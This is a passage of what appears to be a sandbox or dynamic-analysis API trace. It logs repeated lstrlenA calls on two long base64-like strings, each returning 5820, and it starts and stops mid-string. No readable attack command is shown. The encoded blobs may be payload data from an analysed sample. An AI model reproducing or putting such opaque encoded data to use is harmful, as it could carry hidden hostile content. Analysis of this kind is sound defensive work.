CRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.637] lstrlenA (lpString="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") returned 5820
	[0084.638] lstrlenA (lpString="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") returned 5820
	[0084.638] lstrlenA (lpString="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